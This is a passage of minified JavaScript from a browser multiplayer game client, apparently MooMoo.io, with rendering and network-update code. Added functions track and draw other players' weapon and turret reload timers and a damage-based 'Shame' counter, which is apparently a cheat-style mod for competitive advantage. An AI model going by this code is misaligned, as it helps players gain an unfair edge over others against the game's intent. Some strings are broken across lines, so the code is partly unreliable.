si(e.scale * Math.cos(n), e.scale * Math.sin(n), 14),
si(e.scale * r * Math.cos(-n * i), e.scale * r * Math.sin(-n * i), 14),
e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null == l.weapons[e.weaponIndex].projectile ||
l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0,
l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
e.buildIndex >= 0) {
var s = ri(l.list[e.buildIndex]);
t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width / 2)
}
si(0, 0, e.scale, t),
e.skinIndex > 0 && (t.rotate(Math.PI / 2),
function e(t, n, i, r) {
if (!(Gn = Jn[t])) {
var s = new Image;
s.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
s.src = ".././img/hats/hat_" + t + ".png",
Jn[t] = s,
Gn = s
}
var a = i || Kn[t];
if (!a) {
for (var o = 0; o < et.length; ++o)
if (et[o].id == t) {
a = et[o];
break
}
Kn[t] = a
}
Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale,
a.scale),
!i && a.topSprite && (n.save(),
n.rotate(r.skinRot),
e(t + "_top", n, a, r),
n.restore())
}(e.skinIndex, t, null, e))
}
var Gn, Jn = {}, Kn = {}, Qn = {}, $n = {}, Zn = {};
function ei(e, t, n, i, r) {
var s = e.src + (t || "")
, a = Zn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Zn[s] = a),
a.isLoaded && r.drawImage(a, n + e.xOff - e.length / 2, i + e.yOff -
e.width / 2, e.length, e.width)
}
var ti = {};
function ni(e) {
var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ?
1 : 0
, n = e.type + "_" + e.scale + "_" + t
, i = ti[n];
if (!i) {
var r = document.createElement("canvas");
r.width = r.height = 2.1 * e.scale + 5.5;
var a = r.getContext("2d");
if (a.translate(r.width / 2, r.height / 2),
a.rotate(s.randFloat(0, Math.PI)),
a.strokeStyle = it,
a.lineWidth = 5.5,
0 == e.type)
for (var c, l = 0; l < 2; ++l)
ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c),
a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62" :
"#9ebf57",
a.fill(),
l || a.stroke();
else if (1 == e.type)
if (2 == t)
a.fillStyle = "#606060",
ai(a, 6, .3 * e.scale, .71 * e.scale),
a.fill(),
a.stroke(),
a.fillStyle = "#89a54c",
si(0, 0, .55 * e.scale, a),
a.fillStyle = "#a5c65b",
si(0, 0, .3 * e.scale, a, !0);
else {
var h;
!function(e, t, n, i) {
var r, a = Math.PI / 2 * 3, o = Math.PI / 6;
e.beginPath(),
e.moveTo(0, -i);
for (var c = 0; c < 6; c++)
r = s.randInt(n + .9, 1.2 * n),
e.quadraticCurveTo(Math.cos(a + o) * r, Math.sin(a + o)
* r, Math.cos(a + 2 * o) * i, Math.sin(a + 2 * o) * i),
a += 2 * o;
e.lineTo(0, -i),
e.closePath()
}(a, 0, _.scale, .7 * _.scale),
a.fillStyle = t ? "#e3f1f4" : "#89a54c",
a.fill(),
a.stroke(),
a.fillStyle = t ? "#6a64af" : "#c15555";
var u = T / 4;
for (l = 0; l < 4; ++l)
si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) *
Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
}
else
2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ?
"#938d77" : "#939393" : "#e0c655",
ai(a, 3, e.scale, e.scale),
a.fill(),
a.stroke(),
a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" :
"#ebdca3",
ai(a, 3, .55 * e.scale, .65 * e.scale),
a.fill());
i = r,
ti[n] = i
}
return i
}
var ii = [];
function ri(e, t) {
var n = ii[e.id];
if (!n || t) {
var i = document.createElement("canvas");
i.width = i.height = 2.5 * e.scale + 5.5 +
(l.list[e.id].spritePadding ||
0);
var r = i.getContext("2d");
if (r.translate(i.width / 2, i.height / 2), r.rotate(t ? 0 :
Math.PI / 2),
r.strokeStyle = it, r.lineWidth = 5.5 * (t ? i.width / 81 :
1), "apple" ==
e.name) {
r.fillStyle = "#c15555", si(0, 0, e.scale, r), r.fillStyle
= "#89a54c";
var a = -Math.PI / 2;
! function(e, t, n, i, r) {
var s = e + 25 * Math.cos(i),
a = t + 25 * Math.sin(i);
r.moveTo(e, t), r.beginPath(), r.quadraticCurveTo((e
+ s) / 2 + 10 *
Math.cos(i + Math.PI / 2), (t + a) / 2 +
10 * Math.sin(i + Math.PI / 2),
s, a), r.quadraticCurveTo((e + s) / 2 -
10 * Math.cos(i + Math.PI / 2),
(t + a) / 2 - 10 * Math.sin(i + Math.PI /
2), e, t), r.closePath(), r.fill(),
r.stroke()
}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a +
Math.PI / 2, r)
} else if ("cookie" == e.name) {
r.fillStyle = "#cca861", si(0, 0, e.scale, r), r.fillStyle
= "#937c4b";
for (var o = T / (h = 4), c = 0; c < h; ++c) si((u =
s.randInt(e.scale /
2.5, e.scale / 1.7)) * Math.cos(o * c), u *
Math.sin(o * c), s.randInt(
4, 5), r, !0)
} else if ("cheese" == e.name) {
var h, u;
for (r.fillStyle = "#f4f3ac", si(0, 0, e.scale, r),
r.fillStyle =
"#c3c28b", o = T / (h = 4), c = 0; c < h; ++c) si((u
= s.randInt(e.scale /
2.5, e.scale / 1.7)) * Math.cos(o * c), u *
Math.sin(o * c), s.randInt(
4, 5), r, !0)
} else if ("wood wall" == e.name || "stone wall" == e.name ||
"castle wall" == e.name) {
r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood
wall" == e.name ?
"#a5974c" : "#939393";
var f = "castle wall" == e.name ? 4 : 3;
ai(r, f, 1.1 * e.scale, 1.1 * e.scale), r.fill(),
r.stroke(), r.fillStyle =
"castle wall" == e.name ? "#9da4aa" : "wood wall" ==
e.name ? "#c9b758" :
"#bcbcbc", ai(r, f, .65 * e.scale, .65 * e.scale),
r.fill()
} else if ("spikes" == e.name || "greater spikes" == e.name ||
"poison spikes" == e.name || "spinning spikes" == e.name) {
r.fillStyle = "poison spikes" == e.name ? "#7b935d" :
"#939393";
var d = .6 * e.scale;
ai(r, "spikes" == e.name ? 5 : 6, e.scale, d), r.fill(),
r.stroke(), r.fillStyle =
"#a5974c", si(0, 0, d, r), r.fillStyle = "#c9b758",
si(0, 0, d / 2, r, !
0)
} else if ("windmill" == e.name || "faster windmill" == e.name ||
"power mill" == e.name) r.fillStyle = "#a5974c", si(0, 0,
e.scale, r), r.fillStyle =
"#c9b758", ci(0, 0, 1.5 * e.scale, 29, 4, r), r.fillStyle =
"#a5974c", si(
0, 0, .5 * e.scale, r);
else if ("mine" == e.name) r.fillStyle = "#939393", ai(r, 3,
e.scale, e.scale),
r.fill(), r.stroke(), r.fillStyle = "#bcbcbc", ai(r, 3, .55
* e.scale,
.65 * e.scale), r.fill();
else if ("sapling" == e.name)
for (c = 0; c < 2; ++c) ai(r, 7, d = e.scale * (c ? .5 :
1), .7 * d), r.fillStyle =
c ? "#b4db62" : "#9ebf57", r.fill(), c || r.stroke();
else if ("pit trap" == e.name) r.fillStyle = "#a5974c", ai(r, 3,
1.1 * e.scale,
1.1 * e.scale), r.fill(), r.stroke(), r.fillStyle = it,
ai(r, 3, .65 * e
.scale, .65 * e.scale), r.fill();
else if ("boost pad" == e.name) r.fillStyle = "#7e7f82", oi(0, 0,
2 * e.scale,
2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle =
"#dbd97d",
function(e, t) {
t = t || be;
var n = e * (Math.sqrt(3) / 2);
t.beginPath(), t.moveTo(0, -n / 2), t.lineTo(-e / 2,
n / 2), t.lineTo(e /
2, n / 2), t.lineTo(0, -n / 2), t.fill(),
t.closePath()
}(1 * e.scale, r);
else if ("turret" == e.name) r.fillStyle = "#a5974c", si(0, 0,
e.scale, r),
r.fill(), r.stroke(), r.fillStyle = "#939393", oi(0, -
25, .9 * e.scale,
50, r), si(0, 0, .6 * e.scale, r), r.fill(),
r.stroke();
else if ("platform" == e.name) {
r.fillStyle = "#cebd5f";
var p = 2 * e.scale,
g = p / 4,
m = -e.scale / 2;
for (c = 0; c < 4; ++c) oi(m - g / 2, 0, g, 2 * e.scale,
r), r.fill(), r.stroke(),
m += p / 4
} else "healing pad" == e.name ? (r.fillStyle = "#7e7f82", oi(0,
0, 2 * e.scale,
2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle =
"#db6e6e", ci(0, 0,
.65 * e.scale, 20, 4, r, !0)) : "spawn pad" == e.name
? (r.fillStyle =
"#7e7f82", oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(), r.stroke(),
r.fillStyle = "#71aad6", si(0, 0, .6 * e.scale, r)) :
"blocker" == e.name ?
(r.fillStyle = "#7e7f82", si(0, 0, e.scale, r), r.fill(),
r.stroke(), r.rotate(
Math.PI / 4), r.fillStyle = "#db6e6e", ci(0, 0, .65 *
e.scale, 20, 4, r, !
0)) : "teleporter" == e.name && (r.fillStyle =
"#7e7f82", si(0, 0, e.scale,
r), r.fill(), r.stroke(), r.rotate(Math.PI /
4), r.fillStyle =
"#d76edb", si(0, 0, .5 * e.scale, r, !0));
n = i, t || (ii[e.id] = n)
}
return n
}
function si(e, t, n, i, r, s) {
(i = i || be).beginPath(),
i.arc(e, t, n, 0, 2 * Math.PI),
s || i.fill(),
r || i.stroke()
}
function ai(e, t, n, i) {
var r, s, a = Math.PI / 2 * 3, o = Math.PI / t;
e.beginPath(),
e.moveTo(0, -n);
for (var c = 0; c < t; c++)
r = Math.cos(a) * n,
s = Math.sin(a) * n,
e.lineTo(r, s),
a += o,
r = Math.cos(a) * i,
s = Math.sin(a) * i,
e.lineTo(r, s),
a += o;
e.lineTo(0, -n),
e.closePath()
}
function oi(e, t, n, i, r, s) {
r.fillRect(e - n / 2, t - i / 2, n, i),
s || r.strokeRect(e - n / 2, t - i / 2, n, i)
}
function ci(e, t, n, i, r, s, a) {
s.save(),
s.translate(e, t),
r = Math.ceil(r / 2);
for (var o = 0; o < r; o++)
oi(0, 0, 2 * n, i, s, a),
s.rotate(Math.PI / r);
s.restore()
}
function li(e) {
for (var t = 0; t < e.length; )
nt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[t + 4], e[t + 5],
l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
sid: e[t + 7]
} : null),
t += 8
}
function hi(e, t) {
(_ = Mi(t)) && (_.xWiggle += o.gatherWiggle * Math.cos(e),
_.yWiggle += o.gatherWiggle * Math.sin(e))
}
function ui(e, t) {
(_ = Mi(e)) && (_.dir = t,
_.xWiggle += o.gatherWiggle * Math.cos(t + Math.PI),
_.yWiggle += o.gatherWiggle * Math.sin(t + Math.PI))
}
function fi(e, t, n, i, r, s, a, o) {
lt && (J.addProjectile(e, t, n, i, r, s, null, null, a).sid = o,
setAdvCooldown(e, t, n, i, r))
}
function setAdvCooldown(e, t, n, i, r){
let min = Infinity;
let id = -1;
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
l.weapons[_.secondary].projectile !== undefined &&
l.projectiles[l.weapons[_.secondary].projectile].speed == r &&
min > (_.x2*1.5-_.x1/2-e+Math.cos(n)*80)**2+(_.y2*1.5-_.y1/2-
t+Math.sin(n)*80)**2
&& (id = _.sid, min = (_.x2*1.5-_.x1/2-e+Math.cos(n)*80)**2+(_.y2*1.5-
_.y1/2-t+Math.sin(n)*80)**2)
}
if(Math.sqrt(min) > 60){
if(r == 1.5){
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible &&
min > (_.x2*1.5-_.x1/2-e+Math.cos(n)*10)**2+(_.y2*1.5-_.y1/2-
t+Math.sin(n)*10)**2
&& (id = _.sid, min = (_.x2*1.5-_.x1/2-e+Math.cos(n)*10)**2+
(_.y2*1.5-_.y1/2-t+Math.sin(n)*10)**2)
}
if(Math.sqrt(min) < 60){
turretReload[id] = -0.0444;
}
}else{
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
min > (_.x2*1.5-_.x1/2-e+Math.cos(n)*80)**2+(_.y2*1.5-_.y1/2-
t+Math.sin(n)*80)**2
&& (id = _.sid, min = (_.x2*1.5-_.x1/2-e+Math.cos(n)*80)**2+
(_.y2*1.5-_.y1/2-t+Math.sin(n)*80)**2)
}
_=Ii(id);
setTimeout(()=>{secondaryReload[id] = 0});
}
}else{
_=Ii(id);
secondaryReload[id] = -111/l.weapons[_.secondary].speed;
}
}

function di(e, t) {
for (var n = 0; n < G.length; ++n)
G[n].sid == e && (G[n].range = t)
}
function pi(e) {
(_ = Ei(e)) && _.startAnim()
}

function gi(e) {
for (var t = 0; t < Y.length; ++t)
Y[t].forcePos = !Y[t].visible,
Y[t].visible = !1;
if (e) {
var n = Date.now();
for (t = 0; t < e.length; )
(_ = Ei(e[t])) ? (_.index = e[t + 1],
_.t1 = void 0 === _.t2 ? n : _.t2,
_.t2 = n,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[t + 2],
_.y2 = e[t + 3],
_.d1 = void 0 === _.d2 ? e[t + 4] : _.d2,
_.d2 = e[t + 4],
_.health = e[t + 5],
_.dt = 0,
_.visible = !0) : ((_ = Z.spawn(e[t + 2], e[t + 3], e[t + 4], e[t +
1])).x2 = _.x,
_.y2 = _.y,
_.d2 = _.dir,
_.health = e[t + 5],
Z.aiTypes[e[t + 1]].name || (_.name = o.cowNames[e[t + 6]]),
_.forcePos = !0,
_.sid = e[t],
_.visible = !0),
t += 7
}
}
var mi = {};
function yi(e, t) {
var n = e.index
, i = mi[n];
if (!i) {
var r = new Image;
r.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
r.src = ".././img/animals/" + e.src + ".png",
i = r,
mi[n] = i
}
if (i.isLoaded) {
var s = 1.2 * e.scale * (e.spriteMlt || 1);
t.drawImage(i, -s, -s, 2 * s, 2 * s)
}
}
function ki(e, t, n) {
return e + n >= 0 && e - n <= oe && t + n >= 0 && t - n <= ce
}
function vi(e, t) {
var n = function(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].id == e)
return W[t];
return null
}(e[0]);
n || (n = new u(e[0],e[1],o,s,J,nt,W,Y,l,et,tt),
W.push(n)),
n.spawn(t ? H : null),
n.visible = !1,
n.x2 = void 0,
n.y2 = void 0,
n.setData(e),
primaryReload[n.sid] = 1,
n.pr = 1,
secondaryReload[n.sid] = 1,
n.sr = 1;
turretReload[n.sid] = 1,
n.tr = 1,
n.clownCounter = 0,
t && (U = (R = n).x,
D = R.y,
$t(),
On(),
Dn(),
Un(0),
Be.style.display = "block")
}
function wi(e) {
for (var t = 0; t < W.length; t++)
if (W[t].id == e) {
W.splice(t, 1);
break
}
}
function bi(e, t) {
R && (R.itemCounts[e] = t)
}
function xi(e, t, n) {
R && (R[e] = t,
n && On())
}
function Si(e, t) {
(_ = Ii(e)) && (Qz(_, t), _.health = t)
}
function Qz(_, t){
let d = t - _.health;
if(d > 0){
if(_.skinIndex == 13){
if(_.tailIndex == 13){
d == 6 && (_.lastBull = tC);
R == _ && (FT = 0);
return;
}else{
d == 3 && (_.lastBull = tC);
R == _ && (FT = 0);
return;
}
}
if(!isNaN(_.clownCounter) && _.lastDamage){if(tC - _.lastDamage < 2)
{_.clownCounter++}else{_.clownCounter = Math.max(0, _.clownCounter-2)}_.lastDamage
= 0}
}else{_.lastDamage = tC;
if(_.skinIndex == 7){
if(_.tailIndex == 13){
if(d == -2){
_.lastBull = tC;
R == _ && (setTimeout(()=>{FT = 0}))
return;
}
}else{
if(d == -5){
_.lastBull = tC;
R == _ && (setTimeout(()=>{FT = 0}))
return;
}
}
}
if(R == _){if(d <= -45 && dNG){}}
}
}
var nEy;
var nEA;
var nEs;
var tC = 0;
var dNG = false;

function Ti(e) {
tC++;
nEs = [];
nEy = [];
nEA = 0;
for (var t = Date.now(), n = 0; n < W.length; ++n)
W[n].forcePos = !W[n].visible,
W[n].visible = !1;
for (n = 0; n < e.length; )
(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2,
_.t2 = t,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[n + 1],
_.y2 = e[n + 2],
_.d1 = void 0 === _.d2 ? e[n + 3] : _.d2,
_.d2 = e[n + 3],
_.dt = 0,
_.buildIndex = e[n + 4],
_.weaponIndex = e[n + 5],
_.weaponVariant = e[n + 6],
_.team = e[n + 7],
_.isLeader = e[n + 8],
_.skinIndex = e[n + 9],
_.tailIndex = e[n + 10],
_.iconIndex = e[n + 11],
_.zIndex = e[n + 12],
_.visible = !0,
doWeaponStuff(_)),
n += 13
}
function doWeaponStuff(_){
if(_.skinIndex == 45){
_.clownCounter = "30 Sec";
}else if(isNaN(_.clownCounter)){
_.clownCounter = 0;
}

if(_.weaponIndex < 9){


if(_.weaponIndex == _.primary){
if(_.buildIndex == -1){
_.pr = primaryReload[_.sid];
_.sr = secondaryReload[_.sid];
primaryReload[_.sid] = Math.min(1, primaryReload[_.sid] +
111/l.weapons[_.primary].speed);
}else{
_.pr = primaryReload[_.sid];
}
}else{
_.primary = _.weaponIndex;
}
}else if(_.weaponIndex > 8){
if(_.weaponIndex == _.secondary){
if(_.buildIndex == -1){
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
secondaryReload[_.sid] = Math.min(1, secondaryReload[_.sid] +
111/l.weapons[_.secondary].speed);
}else{
_.sr = secondaryReload[_.sid];
}
}else{
_.secondary = _.weaponIndex;
}
}else{
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
}
_.tr = turretReload[_.sid];
turretReload[_.sid] = Math.min(1, turretReload[_.sid]+0.0444);
}
function Ii(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].sid == e)
return W[t];
return null
}
function Ei(e) {
for (var t = 0; t < Y.length; ++t)
if (Y[t].sid == e)
return Y[t];
return null
}
function Mi(e) {
for (var t = 0; t < N.length; ++t)
if (N[t].sid == e)
return N[t];
return null
}
var Ai = -1;
function Pi() {
var e = Date.now() - Ai;
window.pingTime = e,
Ie.innerText = "Ping: " + e + " Delay"
}
function Bi() {
Ai = Date.now(),
r.send("pp")
}
function Ci(e) {
if (!(e < 0)) {
var t = Math.floor(e / 60)
, n = e % 60;
n = ("0" + n).slice(-2),
Ee.innerText = "Server restarting in " + t + ":" + n,
Ee.hidden = !1
}
}
function Oi(e) {
window.open(e, "_blank")
}
window.requestAnimFrame = window.requestAnimationFrame ||
window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame ||
function(e) {
window.setTimeout(e, 1e3 / 60)
}
,
function() {
var e = o.mapScale / 2;
nt.add(0, e, e + 200, 0, o.treeScales[3], 0),
nt.add(1, e, e - 480, 0, o.treeScales[3], 0),
nt.add(2, e + 300, e + 450, 0, o.treeScales[3], 0),
nt.add(3, e - 950, e - 130, 0, o.treeScales[2], 0),
nt.add(4, e - 750, e - 400, 0, o.treeScales[3], 0),
nt.add(5, e - 700, e + 400, 0, o.treeScales[2], 0),
nt.add(6, e + 800, e - 200, 0, o.treeScales[3], 0),
nt.add(7, e - 260, e + 340, 0, o.bushScales[3], 1),
nt.add(8, e + 760, e + 310, 0, o.bushScales[3], 1),
nt.add(9, e - 800, e + 100, 0, o.bushScales[3], 1),
nt.add(10, e - 800, e + 300, 0, l.list[4].scale, l.list[4].id, l.list[10]),
nt.add(11, e + 650, e - 390, 0, l.list[4].scale, l.list[4].id, l.list[10]),
nt.add(12, e - 400, e - 450, 0, o.rockScales[2], 2)
}(),
function e() {
B = Date.now(),
P = B - q,
q = B,
function() {
if (R && (!C || B - C >= 1e3 / o.clientSendRate) && (C = B,
r.send("2", pn())),
An < 120 && (An += .1 * P,
Ge.style.fontSize = Math.min(Math.round(An), 120) + "px"),
R) {
var e = s.getDistance(U, D, R.x, R.y)
, t = s.getDirection(R.x, R.y, U, D)
, n = Math.min(.01 * e * P, e);
e > .05 ? (U += n * Math.cos(t),
D += n * Math.sin(t)) : (U = R.x,
D = R.y)
} else
U = o.mapScale / 2,
D = o.mapScale / 2;
for (var i = B - 1e3 / o.serverUpdateRate, a = 0; a < W.length +
Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]) && _.visible)
if (_.forcePos)
_.x = _.x2,
_.y = _.y2,
_.dir = _.d2;
else {
var c = _.t2 - _.t1
, l = (i - _.t1) / c;
_.dt += P;
var h = Math.min(1.7, _.dt / 170)
, u = _.x2 - _.x1;
_.x = _.x1 + u * h,
u = _.y2 - _.y1,
_.y = _.y1 + u * h,
_.dir = Math.lerpAngle(_.d2, _.d1, Math.min(1.2, l))
}
var f = U - oe / 2
, d = D - ce / 2;
o.snowBiomeTop - d <= 0 && o.mapScale - o.snowBiomeTop - d >= ce ?
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, ce)) : o.mapScale - o.snowBiomeTop - d <= 0 ?
(be.fillStyle = "#dbc666",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= ce ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= 0 ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, o.snowBiomeTop - d),
be.fillStyle = "#b6db66",
be.fillRect(0, o.snowBiomeTop - d, oe, ce - (o.snowBiomeTop - d))) :
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, o.mapScale - o.snowBiomeTop - d),
be.fillStyle = "#dbc666",
be.fillRect(0, o.mapScale - o.snowBiomeTop - d, oe, ce - (o.mapScale -
o.snowBiomeTop - d))),
In || ((ee += te * o.waveSpeed * P) >= o.waveMax ? (ee = o.waveMax,
te = -1) : ee <= 1 && (ee = te = 1),
be.globalAlpha = 1,
be.fillStyle = "#dbc666",
qn(f, d, be, o.riverPadding),
be.fillStyle = "#91b2db",
qn(f, d, be, 250 * (ee - 1))),
be.lineWidth = 4,
be.strokeStyle = "#000",
be.globalAlpha = .06,
be.beginPath();
for (var p = -U; p < oe; p += ce / 18)
p > 0 && (be.moveTo(p, 0),
be.lineTo(p, ce));
for (var g = -D; g < ce; g += ce / 18)
p > 0 && (be.moveTo(0, g),
be.lineTo(oe, g));
for (be.stroke(),
be.globalAlpha = 1,
be.strokeStyle = it,
Yn(-1, f, d),
be.globalAlpha = 1,
be.lineWidth = 5.5,
zn(0, f, d),
Xn(f, d, 0),
be.globalAlpha = 1,
a = 0; a < Y.length; ++a)
(_ = Y[a]).active && _.visible && (_.animate(P),
be.save(),
be.translate(_.x - f, _.y - d),
be.rotate(_.dir + _.dirPlus - Math.PI / 2),
yi(_, be),
be.restore());
if (Yn(0, f, d),
zn(1, f, d),
Yn(1, f, d),
Xn(f, d, 1),
Yn(2, f, d),
Yn(3, f, d),
be.fillStyle = "#000",
be.globalAlpha = .09,
f <= 0 && be.fillRect(0, 0, -f, ce),
o.mapScale - f <= oe) {
var y = Math.max(0, -d);
be.fillRect(o.mapScale - f, y, oe - (o.mapScale - f), ce - y)
}
if (d <= 0 && be.fillRect(-f, 0, oe + f, -d),
o.mapScale - d <= ce) {
var k = Math.max(0, -f)
, v = 0;
o.mapScale - f <= oe && (v = oe - (o.mapScale - f)),
be.fillRect(k, o.mapScale - d, oe - k - v, ce - (o.mapScale - d))
}
for (be.globalAlpha = 1,
be.fillStyle = "rgba(0, 0, 70, 0.35)",
be.fillRect(0, 0, oe, ce),
be.strokeStyle = rt,
a = 0; a < W.length + Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]).visible && (10 != _.skinIndex ||
_ == R || _.team && _.team == R.team)) {
var w = (_.team ? "[" + _.team + "] " : "") + (_.name || "");
if ("" != w) {
if (be.font = (_.nameScale || 30) + "px Hammersmith One",
be.fillStyle = "#fff",
be.textBaseline = "middle",
be.textAlign = "center",
be.lineWidth = _.nameScale ? 11 : 8,
be.lineJoin = "round",
be.strokeText(w, _.x - f, _.y - d - _.scale - o.nameY),
be.fillText(w, _.x - f, _.y - d - _.scale - o.nameY),
_.isLeader && Rn.crown.isLoaded) {
var b = o.crownIconScale;
k = _.x - f - b / 2 - be.measureText(w).width / 2 -
o.crownPad,
be.drawImage(Rn.crown, k, _.y - d - _.scale - o.nameY -
b / 2 - 5, b, b)
}
1 == _.iconIndex && Rn.skull.isLoaded && (b =
o.crownIconScale,
k = _.x - f - b / 2 + be.measureText(w).width / 2 +
o.crownPad,
be.drawImage(Rn.skull, k, _.y - d - _.scale - o.nameY - b /
2 - 5, b, b))
}
var undertext = ("Shame: "+_.clownCounter+"/8");
_.id &&
(be.textAlign = "center",
be.fillStyle = "#fff",
be.lineJoin = "round",
be.font = "20px Hammersmith One",
be.strokeStyle = "black",
be.lineWidth = 6,
be.strokeText(undertext,_.x - f,_.y - d + _.scale +
o.nameY+(40)),
be.fillText(undertext,_.x - f,_.y - d + _.scale +
o.nameY+(40))
)
_.health > 0 && (o.healthBarWidth,
be.fillStyle = rt,
be.roundRect(_.x - f - o.healthBarWidth - o.healthBarPad, _.y -
d + _.scale + o.nameY+8, 2 * o.healthBarWidth + 2 * o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = _ == R || _.team && _.team == R.team ? "#8ecc51"
: "#cc5151",
be.roundRect(_.x - f - o.healthBarWidth, _.y - d + _.scale +
o.nameY + o.healthBarPad+8, 2 * o.healthBarWidth * (_.health / _.maxHealth), 17 - 2
* o.healthBarPad, 7),
be.fill()),
InbundleMyPlayer = R;
_.id && ((o.reloadBarWidth,
be.fillStyle = rt,
be.rigidLRect(_.x-1 - f - o.reloadBarWidth*2 - o.healthBarPad-
5, _.y - d + _.scale + o.nameY - 7, 2.2 * o.reloadBarWidth + 2 * o.healthBarPad,
17, 8),
be.fill(),
be.fillStyle = primaryReload[_.sid] == 1 ? "#B3974B" :
"#ccae5e",
be.fillStyle = primaryReload[R.sid] == 1 ? PriReloaded = true :
PriReloaded = false,
be.rigidLRect(_.x-1 - f - o.reloadBarWidth*2-4.5, _.y - d +
_.scale + o.nameY + o.healthBarPad - 7, 2.2 * o.reloadBarWidth *
(_.pr<primaryReload[_.sid]?_.pr+(primaryReload[_.sid]-_.pr)*Math.min(1,_.dt/
111):primaryReload[_.sid]), 17 - 2 * o.healthBarPad, 7),
be.fill()),
(o.reloadBarWidth,
be.fillStyle = rt,
be.rigidRRect(_.x+1.8 - f - o.healthBarPad+4.89, _.y - d +
_.scale + o.nameY - 7, 2.0 * o.reloadBarWidth + 2 * o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = secondaryReload[_.sid] == 1 ? "#B3974B" :
"#ccae5e",
be.fillStyle = secondaryReload[R.sid] == 1 ? SecReloaded = true
: SecReloaded = false,
be.rigidRRect(_.x-3 - f+4.89/*x*/, _.y - d + _.scale + o.nameY
+ o.healthBarPad - 7, 2.2 * o.reloadBarWidth * (_.sr<secondaryReload[_.sid]?_.sr+
(secondaryReload[_.sid]-_.sr)*Math.min(1,_.dt/111):secondaryReload[_.sid]), 17 - 2
* o.healthBarPad, 7),
be.fill()))
}
for (m.update(P, be, f, d),
a = 0; a < W.length; ++a)
if ((_ = W[a]).visible && _.chatCountdown > 0) {
_.chatCountdown -= P,
_.chatCountdown <= 0 && (_.chatCountdown = 0),
be.font = "32px Hammersmith One";
var x = be.measureText(_.chatMessage);
be.textBaseline = "middle",
be.textAlign = "center",
k = _.x - f,
y = _.y - _.scale - d - 90;
var S = x.width + 17;
be.fillStyle = "rgba(0,0,0,0.2)",
be.roundRect(k - S / 2, y - 23.5, S, 47, 6),
be.fill(),
be.fillStyle = "#fff",
be.fillText(_.chatMessage, k, y)
}
!function(e) {
if (R && R.alive) {
Ke.clearRect(0, 0, Ne.width, Ne.height),
Ke.strokeStyle = "#fff",
Ke.lineWidth = 4;
for (var t = 0; t < qt.length; ++t)
(Vt = qt[t]).update(Ke, e);
if (Ke.globalAlpha = 1,
Ke.fillStyle = "#fff",
si(R.x / o.mapScale * Ne.width, R.y / o.mapScale * Ne.height,
7, Ke, !0),
Ke.fillStyle = "rgba(255,255,255,0.35)",
R.team && Et)
for (t = 0; t < Et.length; )
si(Et[t] / o.mapScale * Ne.width, Et[t + 1] /
o.mapScale * Ne.height, 7, Ke, !0),
t += 2;
It && (Ke.fillStyle = "#fc5553",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", It.x / o.mapScale * Ne.width, It.y /
o.mapScale * Ne.height)),
Mt && (Ke.fillStyle = "#fff",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", Mt.x / o.mapScale * Ne.width, Mt.y /
o.mapScale * Ne.height))
}
}(P),
-1 !== re.id && Fn(re.startX, re.startY, re.currentX, re.currentY),
-1 !== se.id && Fn(se.startX, se.startY, se.currentX, se.currentY)
}(),
requestAnimFrame(e)
}(),
window.openLink = Oi,
window.aJoinReq = Dt,
window.follmoo = function() {
H || (H = !0,
I("moofoll", 1))
}
,
window.kickFromClan = Lt,
window.sendJoin = Ft,
window.leaveAlliance = Ht,
window.createAlliance = zt,
window.storeBuy = Kt,
window.storeEquip = Jt,
window.showItemInfo = Tt,
window.selectSkinColor = function(e) {
ae = e,
en()
}
,
window.changeStoreIndex = function(e) {
Xt != e && (Xt = e,
Gt())
}
,
window.config = o
}
, function(e, t) {
!function(e, t, n) {
function i(e, t) {
return typeof e === t
}
var r = []
, s = []
, a = {
_version: "3.5.0",
_config: {
classPrefix: "",
enableClasses: !0,
enableJSClass: !0,
